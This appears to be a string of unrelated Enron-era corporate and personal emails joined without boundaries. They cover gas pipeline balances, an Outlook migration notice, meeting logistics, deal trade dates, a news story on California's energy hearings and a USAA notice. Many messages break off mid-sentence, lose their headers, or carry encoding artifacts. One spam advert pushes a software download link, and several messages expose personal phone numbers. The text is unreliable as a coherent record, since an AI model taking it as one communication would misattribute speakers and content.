> > that millions of people upon the earth can only dream
> > about; a full refrigerator, clean running water, a
> > soft warm bed, a long hot shower.
> > Slowly, you begin to take responsibility for
> > yourself... by yourself, and you try to make yourself
> > a promise --to never betray yourself . And
> > you hang a wind chime outside your window so you can
> > listen to the wind. And you make it a point
> > to keep smiling, to keep trusting, and to stay open to
> > every wonderful possibility. Finally, with courage in
> > your heart and with God by your side,
> > you take a stand, you take a deep breath, and you
> > begin to design the life you want to live as best as
> > you can.
>
>
>  > Fly, fly do not fear
> > Don't waste a breath, don't shed a tear
> > Your heart is pure, your soul is free
> > Be on your way, don't wait for me
> > Above the universe you'll climb
> > On beyond the hands of time
> > The moon will rise, the sun will set
> > But I won't forget
>
>

That's really nice of you Mary.  I'd like to return the favor some time.  I'm
having a medical procedure Friday afternoon that I'd just as soon not describe
- except to say I might not be in too good a shape Friday evening.  Will you
guys be back in town after your trip East long enough to spend an evening with
you?  If not, let's at least do lunch some day next week - I have Tuesday thru
Thur open - and would love to have Pete join us - my treat.  dn

>>> Hain, Mary 03/25/01 04:09PM >>>
We're flying back East on Sunday.  You are invited to come over Friday
evening, if you like.  Some of our other friends have asked to get together so
we're inviting people for pot luck.  we'll supply the beer.  Feel free to
bring your mom too. Or we could do something else, before Sunday.

From:    Douglas Nichols/ENRON@enronxgate on 03/25/2001 05:02 PM CST
To:    Mary Hain/HOU/ECT@ECT
cc:    
Subject:    Re: Fwd: I'm back

You're welcome.  I talked to Janet last night - would you and Pete be able to
make dinner at our house next weekend - perhaps Sunday night?  dn

>>> Hain, Mary 03/25/01 03:52PM >>>

From:    Douglas Nichols/ENRON@enronxgate on 03/24/2001 12:17 PM CST
cc:    
Subject:    Fwd: I'm back

Mary,

Hi,

Stan

----- Forwarded by Richard B Sanders/HOU/ECT on 11/28/2000 09:57 PM -----

	11/28/2000 09:56 PM
		
		 To: Cheryl Marshall/HOU/ECT@ECT
		 cc: 
		 Subject: Re: Shanghai

I am sending you a letter from their atty. Call me to discuss.

	Cheryl Marshall
	11/27/2000 10:25 AM
		 
		 To: Ann Elizabeth White/HOU/ECT@ECT, Richard B Sanders/HOU/ECT@ECT
		 cc: Joanie H Ngo/HOU/ECT@ECT, Steve HPL Schneider/HOU/ECT@ECT
		 Subject: Shanghai

As of today, we have not received payment in full as requested in Richard 
Sanders' letter dated November 16, 2000.  We did receive a payment for 
$3,202.61 on 11-20-2000.  Richard - please let me know what we need to do 
next to file suit.

Laura,
Based on the response received from Sue and TK (below), please remind PNM of the 10,000 Dth PNR balance and ask them to nominate the gas off TW at their earliest convenience. The gas is currently "parked" at the Rio Puerco PNR point, POI# 500617. Since the Purchase Order# 27190 expired on 4/30/2000, PNM will have to use their current PNR contract (Cr# 27267).  I have asked Richard Hanagriff to transfer the quantities from PO# 27190 to Cr# 27267. 

In your discussions with PNM you might verify that Imbalance Statements should continue to be sent to Sally Prentice at Alvarado Square in Albuquerque, NM. (TW has been sending an imbalance statement on this 10,000 Dth to Sally each month)  

If you have any questions, please call me.

MBOD

Sent:	Monday, October 15, 2001 8:57 AM
To:	Bodnar, Michael
Subject:	FW: PNR Balance on PNM Cr# 25672 - PO# 27190 

I agree with Sue.  I don't think they would pay up to this point.  Just have PNM get it out.

TK
From: 	Neville, Sue  
Sent:	Friday, October 12, 2001 4:33 PM
To:	Bodnar, Michael; Watson, Kimberly; Lohman, TK
Cc:	Blair, Lynn; Hanagriff, Richard; McEvoy, Christine; Giambrone, Laura
Subject:	RE: PNR Balance on PNM Cr# 25672 - PO# 27190 

I would recommend that we just have them nominate it out when it is convenient for TW and not charge them any additional fees.  Is there a procedure in place that will prevent us from missing a balance like this again? 

Sue

Sent:	Friday, October 12, 2001 4:06 PM
To:	Watson, Kimberly; Neville, Sue; Lohman, TK
Subject:	PNR Balance on PNM Cr# 25672 - PO# 27190 

In analyzing shipper imbalance statements, Laura Giambrone discovered a PNR balance of 10,000 Dth on the above noted contract. The balance was parked on TW on April 26, 2000 and PNM paid a $0.03 per Dth/d fee in that month . TW has not billed PNR fees on the balance since May 1, 2000. PNM has not inquired about nor nominated the redelivery of the quantities held by TW.
How should this matter be handled?   

Vince:  Bjorn must be in Chicago Wednesday so  we must move the meeting to Tuesday or Thursday, if that is possible.   Otherwise, give me other possibilities.  Thanks, Al
From: Al  Arfsten  
To: VKaminski@aol.com  
Cc: bjorn@bflassociates.com  
Sent: Tuesday, November 20, 2001 11:45 AM
Subject: Re: Meeting next week
Vince:  That works for us at the Hyatt Regency  at 7am.  The earlier the better on the Plan.  See you soon.   Al
From:  VKaminski@aol.com  
To: arfsten@bflassociates.com  
Sent: Tuesday, November 20, 2001 11:23  AM
Subject: Meeting next week
Al, 
What about  meeting Stinson on Wednesday next week (after Thanksgiving) at 7:00 a.m.,  Hyatt Regency? We should be able to E-mail you the business plan outline the  day before. 
Have a Happy Thanksgiving. 
Vince  

OUTLOOK EMAIL NOTIFICATION

Your Date of Migration is: May 7th

YOU WILL BE UNABLE TO SEND E-MAIL unless you take the following action:
Please go through your Notes email and clean out as many old/un-needed email items as possible BEFORE your date of migration.  After you are migrated to Outlook you will only be allocated 100MB of total Mailbox space.   If more than this amount of data is migrated to Outlook YOU WILL NOT BE ABLE TO SEND E-MAIL until it is below the 100MB limit.  Cleaning up your Notes email now will prevent this from happening to YOU.

Enron's messaging platform is migrating from Lotus Notes to Microsoft Outlook 2000 worldwide.  You will be accessing Outlook for all of your email functions. 

WHY IS ENRON MIGRATING TO OUTLOOK 2000?

Many factors contributed to the decision to migrate from Lotus Notes to Microsoft Exchange/Outlook.  The most prominent factors were:

?	Significant advantages to moving to a product that is more integrated with current Enron apps (Windows 2000, Office and Internet Explorer)
?	More efficient Shared PC and Roaming User features
?	Improved support and integration for Palm/CE devices
?	Instant Messaging capabilities

WHAT IS BEING MIGRATED TO OUTLOOK 2000?

?	Email Messages.  From the date of your scheduled migration, the last (30) thirty days of your Email will be converted for use in Outlook.
?	All your folders in Notes you use to store email messages in.
?	To Do Items
?	Journal Items
?	Calendar Entries dating from (1) one year in the past to (10) ten years in the future will be converted.
?	Address Books, but NOT your Distribution Lists that you created.  You will need to re-create these in Outlook.

Thank you,

MArk--I put out a couple of calls to find on the 2002 Governors race in Wyoming, and the feedback I got was similiar to what we talked about.....there has not been a clear candidate yet, and Joe Meyers name is one of three possible Republican contestants. (the other two that are being talked about are Eli Bebout and Ray Hupkins--don't know if I got my spelling right on these boys!).  Apparently there was alot of discussion about the current US Senator, Craig Thomas, wanting to run and so everybody was pretty much waiting until he made up his mind before jumping into the race.  My understanding is that Thomas did make up his mind about 2 weeks ago to stay in the Senate, so your Mr. Meyers may very well be strongly considering a run.

Call me.

chris
x31666

---------------------- Forwarded by Chris Meyer/HOU/ECT on 02/21/2001 04:06 

Mitch Meyer@ENRON
02/21/2001 03:52 PM
To: Chris Meyer/HOU/ECT@ECT
cc:  
Subject: Bison Letter

Please see the attached letter and let me know if this will work for you.

Mitch  

Attached please find the EPMI Power Credit Watch List as of 01/22/01.  Please 
direct any questions and/or comments to the Credit Hotline (713-853-1803).

Thank you,
Veronica Gonzalez

Please use Ameren Services Company only for transmission.  Thank you.

Please note the following changes:
Ameren Services Company (ASC)
Assigned its sales agreement to:
Ameren Energy, Inc. as agent (ASC)
(for and on behalf of Union Electric Company d/b/a Ameren UE, Ameren Energy 
Marketing Company, and Ameren Energy Generating Company)
Transmission remains with Ameren Services Company

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1:30 is good. I will call you.

	05/11/2000 05:29 PM
		 
		 cc: 
		 Subject: RE: NSM

How about 1:30 p.m. your time, or any time after that? 

The Baltimore meeting won't happen, but there is some background.? That's one 
of the things we want to talk about. 

From: Richard.B.Sanders@enron.com [mailto:Richard.B.Sanders@enron.com] 
Sent: Thursday, May 11, 2000 3:23 PM 
To: SHoward@milbank.com 
Subject: Re: NSM 

I am around all day tomorrow. Please leave me a voicemail re when you want 
to talk. Also-- any luck on my proposed meeting w/the Legg Mason? 

Mary,

Can I book one more room at this rate on this reservation (same card number),
for a total of two rooms?  The second will be a non-smaking king size as well.

Thank you,
Ernie

281-775-1653

Mary Ramsey <maryramsey@tramex.com>
02/20/2001 02:55 PM

cc:
Subject:  HOTEL RESERVATIONS IN AUSTIN

 SALES PERSON: 84                  ITINERARY                    DATE: 20 FEB
01
 CUSTOMER NBR: 1P0396                           XFIONO          PAGE: 01

        TO: FRITO LAY / PEPSI
            SUITE 1200

 HOTEL

 OTHER
 03JUN   AUSTIN
  SUN                      THA NK YOU FOR CALLING TRAMEX TRAVEL-MARY

 .

Mary Ramsey, CTA
Tramex Travel Leisure Department
972-334-5421 800-776-8009
maryramsey@tramex.com

Start Date: 4/24/01; HourAhead hour: 3;  No ancillary schedules awarded.  

Schedules\2001042403.txt

     Details: (Hour: 3 / Preferred:   0.00 / Final:   0.00)
  SC_ID: EES

---------------------- Forwarded by Chris Germany/HOU/ECT on 04/10/2000 05:40 
   
	Enron Technology
	
	From:  Donna Lowry                           04/06/2000 10:20 AM
	
Sent by: Enron North America General Announcement
To: Restricted List
cc:  
Subject: 

Costilla Energy COSE
Esenjay Exploration ESNJ
Quanta Services Inc. PWR
Titan Exploration TEXP

the                                                                           
                                                                              
From: Abel, Chris 
Sent: Monday, January 28, 2002 5:34 PM
To: Hall Jr., Robert L.; Gossett, Jeffrey C.; White, Stacey W.; Albrecht, Kristin; Reeves, Kathy; Gillis, Brian; Pearce, Barry; Miralles, Albert; Hall, D. Todd; Sweeney, Kevin; Earnest, Scott; Fondren, Mark; Swinney, John; Prejean, Frank; Horn, Cindy; Thurbin, Simon; Sharma, Shifali; Mao, Shari; Postlethwaite, John; Evans, Casey; Glover, Sheila; Carrington, Clara; Best, John
Cc: Beck, Sally; Wilson, Shona; Considine, Keith; Trevino, Susan; Ayala, Susie; Apollo, Beth
Subject: FW: DPR reporting for 22nd trading due today - request by Fallon

As a follow up to this email, we will start reporting the DPR's on Wednesday's and Monday's, for Tuesday and Friday valuations.  The first Wednesday will be the 30th of January.  Each day we should expect to report the positions, P&L and PRMA of only those transactions we expect to fulfill.  With the exception of Gas, Susan Trevino will be sending the benchmarks to each of the groups for their review.  
 
If anyone anticipates any problems with this time frame, please call me or Shona to discuss.
 
Chris
 
Sent: Thursday, January 24, 2002 11:29 AM
To: Hall Jr., Robert L.; Gossett, Jeffrey C.; White, Stacey W.; Albrecht, Kristin; Reeves, Kathy; Gillis, Brian; Pearce, Barry; Miralles, Albert; Hall, D. Todd; Sweeney, Kevin; Earnest, Scott; Fondren, Mark; Swinney, John; Prejean, Frank; Horn, Cindy; Thurbin, Simon; Sharma, Shifali; Mao, Shari; Postlethwaite, John; Evans, Casey; Glover, Sheila; Carrington, Clara
Subject: DPR reporting for 22nd trading due today - request by Fallon

Fallon has requested a DPR be prepared 2X a week for positions that we are executing on (active/live positions only, no terminations or deals we are not executing on).  We have put together the shell of how this DPR will look.  To start this process we are planning to present to him positions (column E) and PRM value (column X) as of 1/23.  To do this, we have laid out the following steps:
 
- we need to get the PRM values directly from you (column X)
- we will run the benchmarks and need to work with you to ensure you are happy with the benchmark numbers we have pulled from RMS (the exception is gas, we need the gas risk group to provide the gas bench to us)
- we need all of then exceptions/qualifications to your numbers
- we will need the other information in the schedule to be reported to us starting next week, but not for this exercise
 
Please confirm to me/Shona that you can get us this info by 230 pm today.
 
Lastly, I am attaching the unofficialized book list as these books will not make it into the benchmarks and need you to confirm that there are no 3rd party positions in these books.
 
Thanks in advance

Chris Abel 
Manager, Risk Controls 
Global Risk Operations 
chris.abel@enron.com <mailto:chris.abel@enron.com> 
713.853.3102 

TJ,
 
Please provide me with the latest hard copy so I can have one final meeting with my direct reports to get final confirmation for East Power seating.
 
Thanks.

From: Shepperd, Tammy R. 
Sent: Fri 10/5/2001 5:37 PM 
To: Black, Tamara Jae; Presto, Kevin M.; Will, Lloyd; May, Tom 
Cc: 
Subject: Updated floor plans

Attached are the revised floor plans with data that has been presented through today.  Tina Rode has submitted the churns for the groups that fall under Duran.  Doug Gilbert-Smith and Harry Arora have okay'd their people/locations.  DSM is complete.

There are only a few outstanding issues.  Power Services has been allocated 7 desks, however the names have not been placed; my understanding is the remainder of the team are located with the regions.  

I have not heard anything from Fletch, Dana Davis, or Suarez.  Don Black and Rogers have not emailed their changes, but LaDonna is working on it and said she'll put in as many churns as possible in this evening.  

Feel free to call me on Sunday if needed. 
Tammy 
Home    281-341-1909 
Mobile  713-594-4718 

<<5th floorplan1005.xls>> 

<<6th floorplan 10.05.xls>> 

----- Forwarded by Gerald Nemec/HOU/ECT on 05/18/2001 09:19 AM -----

	Public Relations@ENRON
	Sent by: Public Relations@ENRON
	05/17/2001 11:01 PM
		
		 cc: 
		 Subject: Jeff Skilling on CNN this weekend
   Public Relations

You will have several opportunities in the next few days to see a taped 
interview with Jeff Skilling on The Players segment of "Business Unusual," a 
program that captures the insights of the world's prominent corporate 
leaders.  "Business Unusual" will appear on CNN networks in select regions 
around the globe.  Jeff will discuss why Enron is destined to be the world's 
leading company, developing a culture that rewards change, the principles of 
a "loose/tight" organization and more.

Broadcast Schedule:

CNN
Saturday, May 19
11:30 a.m. Pacific Standard Time

Sunday, May 20
5:30 Central Standard Time (a.m. and p.m.)

CNNfn
Monday through Friday, May 21-25
7 p.m. and 10:30 p.m. Central Standard Time

CNN International
Europe:
Saturday, May 19,  1130 CET
Sunday, May 20,  1930 CET

Asia:
Saturday, May 19,  1030 HK

Latin America:
Saturday, May 19,  930 BA
Sunday, May 20,  1030 BA

Jason,
After our brief discussion last night I think I should discuss a few of the 
issues I have with respect to calculating a VaR on the deal that you are 
proposing.  The VaR model, as I illustrated, is set up to accept a term 
structure of delta positions, prices and vols and it may be difficult to 
translate the 'silver mine' position into these inputs. 
I do not think that we can simply take the net silver content of the mine and 
then make some assumptions about vol and price. The VaR model 
also assumes a certain amount of liquidity in the market and a 1 day holding 
period. 
To do this properly I would need to understand fully how the deal is priced 
as these sensitivities are ultimately what will effect the change in MTM 
in the future and that is essentially what VaR is supposed to predict.
If you need me to work on this then you need to contact Steve who will help 
to prioritise my time. I will also need to consult with Vince Kaminski and 
Tanya Tamarachenko in Houston for advice.
RAC will also assist in the process.
Please contact me if you have any further questions,
Kirstee
x34529

Every move you make on your computer is being logged. From the Internet sites you visit, to the documents you open... you are being tracked. Even if you attempt to delete these tracks, Windows retains secret log files. Deleting Internet Caches and searching for history files would take hours of work manually.
Clean Drive deletes all these items from your computer... automatically, as often as you like!

No more worring about what people will see on your computer.

Goto this url to download http://www.cleandrive.net/r.php?id=cleanme

To be removed from this mailing list please reply to remove@cleandrive.net with remove in the subject.

[8lgfAh8BWR]

Since there will be no Mark Report today (due to the fact I need to catch a plane), The AGA number today was an injection of 15 BCF, with a revision from last week of +10 BCF to bring the total storage to 3.132 TCF or 484 BCF above last year and 313 BCF above the 5 yr average.

Have a great Thanksgiving! See ya Monday!

Mark D. Smith
Manager
713-853-6601
Mark.Smith@enron.com

I don't think I gave you George Briden's number in my voice mail today.  Its 
401-934-1433.  Just out of curiosity, please let me know if they are as eager 
to move forward as George said they were.  Thanks. DF 

I need to get expense reports in by the 13th of this month.  Have you given 
me all of your receipts for this year?  The only receipt I currently have to 
send in for reimbursement is your PrimeCo bill dated 11/15/00.  Is that it?  
It looks like your December bill will have to be submitted after the cutoff 
date.

I got a letter from Lou Alexander asking me to sign something regarding
distribution of Mon's IRA.  Do you know anything about that?  I thought
Liz moved everything to Legg Mason.

FYI.  Rep Dan Burton's House "Government Reform" committee is touring 
California to get info on CA's energy crisis. Yesterday, they met in 
Sacramento.  Today, there in San Jose (Edison, PG&E and some Silicon Valley 
businesses are witnesses), and tomorrow they're in San Diego.  The hearing 
was widely covered on local TV news.  As the following story reflects, it was 
very partisan.

	Political shots traded at U.S. power inquiry 
	By John Hill
(Published April 11, 2001) 
	It was billed as a nonpartisan inquiry into the roots of California's energy 
crisis. 
	"We're not here to assign blame," Rep. Dan Burton, R-Ind., said Tuesday at a 
hearing in Sacramento of a House subcommittee. "We're not here to point 
fingers. We're here to listen and learn." 
	But by the end, blame had been doled out in heaping portions and the fingers 
had come out of their holsters. 
	Rep. Doug Ose, the Sacramento Republican who is chairman of the panel, 
blasted Gov. Gray Davis, a Democrat, for keeping secret the details of the 
state's long-term electricity contracts. He raised the possibility of issuing 
subpoenas. 
	So did Burton, who sharply questioned Loretta Lynch, president of the 
California Public Utilities Commission, about whether the commission 
prevented investor-owned utilities from signing long-term contracts for cheap 
electricity. Lynch was appointed to the commission by Davis. 
	Lynch said the utilities were given permission and did sign contracts, but 
declined to give details, saying she was legally barred from doing so. 
	"We represent the Congress of the United States," Burton fired back. "We want 
that information." 
	The panel of the House Committee on Government Reform consists of 13 members, 
but only three attended, all of them Republicans -- Ose, Burton and Rep. 
Steve Horn of Long Beach. 
	All 13 were invited, as well as members of Congress whose districts are being 
visited by the subcommittee, which also plans to hold hearings this week in 
San Jose and San Diego. 
	"I'm frankly surprised they're not here," said Yier Shi, a spokesman for the 
subcommittee. "This is a bipartisan issue." 
	But if Democrats weren't on the podium, some were in the audience, including 
state party campaign adviser Bob Mulholland. He called the hearing "a 
Republican sham to protect the Texas energy companies," and circulated quotes 
from former Gov. Pete Wilson, a Republican, praising the legislation that 
created deregulation. 
	Much of the testimony focused on whether the Federal Energy Regulatory 
Commission should impose price caps on wholesale electricity prices. 
	Lynch said it was the only way to impose rationality on a "dysfunctional 
market" in which electricity generators and marketers are free to drive up 
prices far beyond what they would be in a competitive market. 
	Others, including FERC's general counsel, Kevin Madden, called caps a bad 
idea that would encourage sellers to go elsewhere, reducing California's 
power supply. Madden also said a cap imposed by FERC would only cover about 
half the power bought and sold in the West. 
	
The Bee's John Hill can be reached at (916) 326-5543 or 

Sorry I didn't call you last night.  I didn't get home until 10 and brian was 
on the phone untill 11, so I figured you were asleep by then.  I'll give you 
a call later.

e

You will do a great job with this.

I think it would be neat to begin with the old Blue Book vision that you were 
so involved with and then fast forward to the present and let Davis have it!  
The crowd needs to understand the political "why's" behind his strategy and 
where we are now.

Also, a look at what the industry did right and wrong would be interesting to 

How can the think tank crowd help us going forward on the general issue of 
"trusting" and de-politicizing the market?

- Rob

Sent: Monday, July 30, 2001 1:28 PM
To: Shortridge, Pat
Cc: Hueter, Barbara A.; Guerrero, Janel; Robertson, Linda; Palmer, Mark S. 
(ENW); Shapiro, Richard; Bradley, Rob; Guerrero, Janel
Subject: Re: details on ATR briefing at the ALEC conference

Thanks Pat.  

Do you know who will be in the audience?  And how many folks we are 
expecting?  Also, if there are specific things that you folks want/don't want 
me to say, please let me know.

Best,
Jeff

	Pat Shortridge 07/30/2001 10:42 AM 	   To: Jeff Dasovich, Rob Bradley, Barbara 
Hueter, Janel  Guerrero  cc: Linda Robertson/NA/Enron@ENRON, Richard 
Shapiro/Enron@EnronXGate, Mark Palmer  Subject: details on ATR briefing at 
the ALEC conference

The Enron-sponsored briefing on energy policy will be from 5-6:30 pm in the 
Booth Room on the 5th floor of the Marriott Marquis on Friday, August 3.  Our 
presentation will be done by Jeff Dasovich.  Grover Norquist and Americans 
for Tax Reform will be carrying out all logistics.  

There should be time for the presentation, questions, and discussion.

Best,

Pat

---------------------- Forwarded by Drew Fossum/ET&S/Enron on 02/25/2000=20
05:32 PM ---------------------------
ET & S Business Intelligence
From: Lorna Brennan on 02/23/2000 11:21 AM
To: Bill Cordes/ET&S/Enron@ENRON, Julie McCoy/ET&S/Enron@ENRON, Lou=20
Geiler/ET&S/Enron@ENRON, Tim Aron/ET&S/Enron@ENRON, Steve=20
Klimesh/ET&S/Enron@ENRON, Sarabeth Smith/ET&S/Enron@ENRON, Gary=20
Sova/ET&S/Enron@ENRON, Rob Wilson/ET&S/Enron@ENRON, Lon=20
Stanton/ET&S/Enron@Enron, Kristen Hand/ET&S/Enron@ENRON, Margaret=20
Carson/Corp/Enron@ENRON, Rita Hartfield/Corp/Enron@ENRON, John=20
Goodpasture/OTS/Enron@ENRON, Rockey Storie/ET&S/Enron@ENRON, Kent=20
Miller/ET&S/Enron@ENRON, John Dushinske/ET&S/Enron@ENRON, Dave=20
Neubauer/ET&S/Enron@ENRON, Michael Bodnar/ET&S/Enron@ENRON, Joni=20
Bollinger/ET&S/Enron@ENRON, David Badura/ET&S/Enron@Enron, Janet=20
Bowers/ET&S/Enron@ENRON, Craig Buehler/ET&S/Enron@ENRON, Bob=20
Burleson/ET&S/Enron@ENRON, Allen Cohrs/ET&S/Enron@ENRON, John=20
Fiscus/ET&S/Enron@ENRON, Bret Fritch/ET&S/Enron@Enron, Steve=20
Gilbert/ET&S/Enron@ENRON, Morgan Gottsponer/ET&S/Enron@ENRON, Brenda=20
Harris/ET&S/Enron@ENRON, James Harvey/ET&S/Enron@ENRON, Stephen=20
Herber/ET&S/Enron@ENRON, Dana Jones/ET&S/Enron@ENRON, Jane=20
Joyce/ET&S/Enron@ENRON, Stephanie Korbelik/ET&S/Enron@ENRON, Bill=20
Mangels/ET&S/Enron@ENRON, Penny McCarran/ET&S/Enron@ENRON, Vernon=20
Mercaldo/ET&S/Enron@ENRON, Larry Pavlou/ET&S/Enron@ENRON, Eileen=20
Peebles/ET&S/Enron@ENRON, Maria Perales/ET&S/Enron@ENRON, Tony=20
Perry/ET&S/Enron@Enron, Loren Penkava/ET&S/Enron@ENRON, Ken=20
Powers/ET&S/Enron@ENRON, Joan Schwieger/ET&S/Enron@ENRON, Chris=20
Sebesta/ET&S/Enron@ENRON, Frank Semin/ET&S/Enron@Enron, Neal=20
Shaw/ET&S/Enron@ENRON, Larry Swett/ET&S/Enron@ENRON, Kay=20
Threet/ET&S/Enron@ENRON, Mike Ullom/ET&S/Enron@ENRON, Lisa=20
Valley/ET&S/Enron@Enron, Chuck Wilkinson/ET&S/Enron@ENRON, Jim=20
Wiltfong/ET&S/Enron@ENRON, Jo Williams/ET&S/Enron@ENRON, Karen=20
Lagerstrom/ET&S/Enron@Enron, Ray Stelly/ET&S/Enron@ENRON, Bob=20
Stevens/ET&S/Enron@Enron, Sue M Neville/ET&S/Enron@ENRON, Mike=20
Barry/ET&S/Enron@ENRON, Miriam Martinez/ET&S/Enron@ENRON, Martha=20
Janousek/ET&S/Enron@ENRON, Kimberly Watson/ET&S/Enron@ENRON, Don=20
Powell/ET&S/Enron@ENRON, Melinda Tosoni/ET&S/Enron@ENRON, Steve=20
Weller/ET&S/Enron@ENRON, Michael G Stage/ET&S/Enron@ENRON, Tim=20
Johanson/ET&S/Enron@ENRON, Chris Gaskill/ET&S/Enron@ENRON, Dari=20
Dornan/ET&S/Enron@ENRON, Maria Pavlou/ET&S/Enron@ENRON, Jim=20
Talcott/ET&S/Enron@ENRON, Mary Kay Miller/ET&S/Enron@ENRON, Michel=20
Nelson/ET&S/Enron@ENRON, Mike McGowan/ET&S/Enron@ENRON, Julia=20
White/ET&S/Enron@ENRON, Drew Fossum/ET&S/Enron@ENRON, Shelley=20
Corman/ET&S/Enron@ENRON, Lindy Donoho/ET&S/Enron@ENRON, Jeffery=20
Fawcett/ET&S/Enron@ENRON, Lorraine Lindberg/ET&S/Enron@ENRON, Kevin=20
Hyatt/ET&S/Enron@Enron, Christine Stokes/ET&S/Enron@ENRON, TK=20
Lohman/ET&S/Enron@ENRON, Lee Huber/ET&S/Enron@ENRON, Susan=20
Scott/ET&S/Enron@ENRON, Glen Hass/ET&S/Enron@ENRON, Mary=20
Darveaux/ET&S/Enron@ENRON, Rita Bianchi/ET&S/Enron@ENRON, Mary Lou=20
Hamilton/ET&S/Enron@ENRON, Steve Thomas/ET&S/Enron@ENRON
cc: =20
Subject: Enron Press

This article appeared in Enerfax today:

Enron Not Looking for New Business M&A in 2000

    Enron does not expect any mergers or acquisitions of new business and i=
s
not interested in selling its pipelines. Enron will seek opportunities to
fill-in its businesses with asset purchases, rather  than purchasing new
businesses. It will be giving a detailed view of its telecommunications
business at an analysts meeting in Houston today. Enron says Europe, Latin
America=01,s southern cone and Japan provide great opportunity. Enron=01,s =
EnCom
unit=01,s recently teamed with the Japanese firm Orix to participate in the
retail electricity sales business when the Japan market is opened, currentl=
y
scheduled for this March. Enron plans to use EnronOnline as its vehicle to
enter the European market. EnronOnline, the global Internet-based transacti=
on
system for wholesale energy and other commodities, will soon allow it to
reduce back-office costs in a transaction substantially. In addition to bei=
ng
able to cut the $1,000-$1,500 per transaction as much as 80-90%, EnronOnlin=
e
will create an environment where a buyer or seller of natural gas or power
will be able to more easily, with a computer mouse click, process complex
power and natural gas transactions.

Serge,

Clement

	"Serge Martin" <Sgm@steelhector.com>
	10/27/2000 01:11 PM
		 
		 To: clement.abrams@enron.com
		 cc: PETEJ@andrews-kurth.com, Sara.Shackleton@enron.com
		 Subject: Enron/Florida Power & Light Company ISDA agreements

The Trade Date should be July 23, 1999.

	From:  Larry Joe Hunter                           07/26/99 03:25 PM
	
To: Scott Neal/HOU/ECT@ECT, Sara Shackleton/HOU/ECT@ECT, Dale 
Neuner/HOU/ECT@ECT
cc:  
Subject: Re: Central Puerto S.A.

Scott/Sara/Dale,

Does anyone disagree with the below (Trade Date should be July 23).  The 
confirm will go out immediately when you respond.

thanks,
Joe

---------------------- Forwarded by Larry Joe Hunter/HOU/ECT on 07/26/99 

Brent Hendry@ENRON_DEVELOPMENT
07/26/99 03:11 PM
cc: Dale Neuner/HOU/ECT@ECT, Sara Shackleton@ENRON_DEVELOPMENT, Scott 
Neal@ENRON_DEVELOPMENT, sneal@ect.enron.com 
Subject: Re: Central Puerto S.A.  

Since Scott Neal's phone call with the counterparty was July 23 I believe 
that should be the correct date.  The call made by Julian and Federico on 
July 20 was not effective to bind ECT.  Please confirm this with Sara and 
Scott and make sure everyone is on board with this.  I am sure Scott was just 
using the draft deal ticket Julian prepared and Julian used the date they 
called rather than the date that Scott did the deal.

To: Brent Hendry/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
cc: Dale Neuner/HOU/ECT@ECT 
Subject: Central Puerto S.A.

Brent,

One last question on the Central Puerto S.A. doc.  We currently have the 
Trade Date as July 23, but the tickets we received say July 20th.  Is July 
20th correct?  

Thanks,
Joe

Life is busy at Enron and I literally receive hundreds of e:mails every 
week.  This is not the best way to communicate with me on priority issues.  I 
have looked at your proposal and would be interested in learning more.  Can 
you provide more details beyond your presentation?  What is your background 
and experience?  Can you provide information on your company?   

ConfirmCorp@aol.com on 08/01/2000 09:16:40 AM
To: Sally.Beck@enron.com
cc:  
Subject: Re: Proposal for Electronic Confirmations

Sally:

Since I have not heard back from you is it safe to assume that you are not
interested learning more about how Enron can automate its confirmation
process?  If this is the case, would it be okay if I approached someone else
in your organization about the idea?

Thanks for your consideration.

Chris Papousek

Per notice below, please note that E.D.F Man International Inc.has changed=
=20
its name to Man Financial Inc. (you may already know this, but I didn't!)
----- Forwarded by Tana Jones/HOU/ECT on 04/09/2001 03:05 PM -----

=09exchangeinfo@nymex.com
=0904/09/2001 03:57 PM
=09=09=20
=09=09 To: tana.jones@enron.com
=09=09 Subject: (MS-20) NOTICE OF INTENTION TO TRANSFER MEMBERSHIP

Notice No. MS-20
April 9, 2001

NOTICE OF INTENTION TO TRANSFER MEMBERSHIP

Notice of Intention to Transfer Membership has been posted on the bulletin=
=20

Mark Cricco (MEC-7995)

In connection therewith, notification of any claims against the=20
aforementioned individual arising out of transactions executed on the=20
Exchange up to the close of business on April 9, 2001, must be submitted to=
=20
the Corporate Secretary's Office within ten (10) days.

Inquiries regarding the above should be directed to the Member Services=20
Department at (212) 299-2370.

NAME CHANGE FOR CLEARING MEMBER FIRM

Please be advised that the Exchange has been notified that effective April =
2,=20
2001, Geldermann, Inc. (#358) has changed it=01,s name to Man International=
 Inc.

Furthermore, be advised that the Exchange has been notified that effective=
=20
April 2, 2001, E.D.F. Man International Inc. (#330) has changed it=01,s nam=
e to=20
Man Financial Inc.

email.

"
http://208.206.41.61/email/email_log.cfm?useremail=3Dtana.jones@enron.com&r=
efdoc
=3D(MS-20)"

Most of you already know, but the move is taking place this Friday 11/16/01.  Please be sure you are packed by 3:00 PM on Friday and  have everything labeled.  They are moving both Power and Gas, so I am not sure what time the building will be open on Sunday or if it will be open at all.  I will get back to you with that information by Thursday.  If you have any questions or need help with anything, please let me know.

Thanks!
Ina

New electronic document(s) have been delivered and are available for you to read under your 
personal account at usaa.com. 

To access your documents:

-   Go to http://www.usaa.com/ .
-   Enter your USAA number and password and click "Log On". 
-   Click on "Documents" in the upper right corner.  You will then be 
    prompted to enter your PIN to display your documents index. If you 
    have previously activated the "Remember PIN" feature, you will not 
    be prompted for your PIN.  Always remember to protect your password 
    and PIN.
-   Review any unread documents in your index by clicking on the listed 
    document. Important information and legal notices are contained within 
    your documents.
-   To maintain a permanent record of your documents, you must print or 
    download the documents before the "Available Through" date listed on 
    your documents index.
-   The documents will no longer be available after the "Available Through" 
    date.

If you have questions or problems, information contained at usaa.com can help:

-   The "About Electronic Documents" page, accessible from your documents 
    index, provides an overview of how USAA delivers electronic documents.
-   The "Frequently Asked Questions" (FAQs) section, also accessible from 
    the index, provides a question and answer format for common issues.
-   Review your USAA Electronic Document Delivery Agreement for terms and 
    conditions of this capability.
-   For issues and topics not covered in either of the above, call 
    1-800-285-8722 (210-282-9050 in San Antonio) for help.  
-   To receive these courtesy notifications of new document deliveries, keep 
    your primary and secondary e-mail addresses current in your Personal 
    Profile on usaa.com.

Thank you for choosing to receive your documents electronically.

From: 	Cowan, Mike  
Sent:	Thursday, June 21, 2001 10:40 AM

From: 	Richey, Cooper  
Sent:	Wednesday, June 20, 2001 2:37 PM
To:	Pearson, Jeff; Cowan, Mike
Subject:	

OK, here's my first attempt.  Although I think Red Cedar's lawyers might be 
looking for more, they have not specifically requested it, so I decided to 
stick to making only the statements Ed Meaders mentioned in his 2 voice 
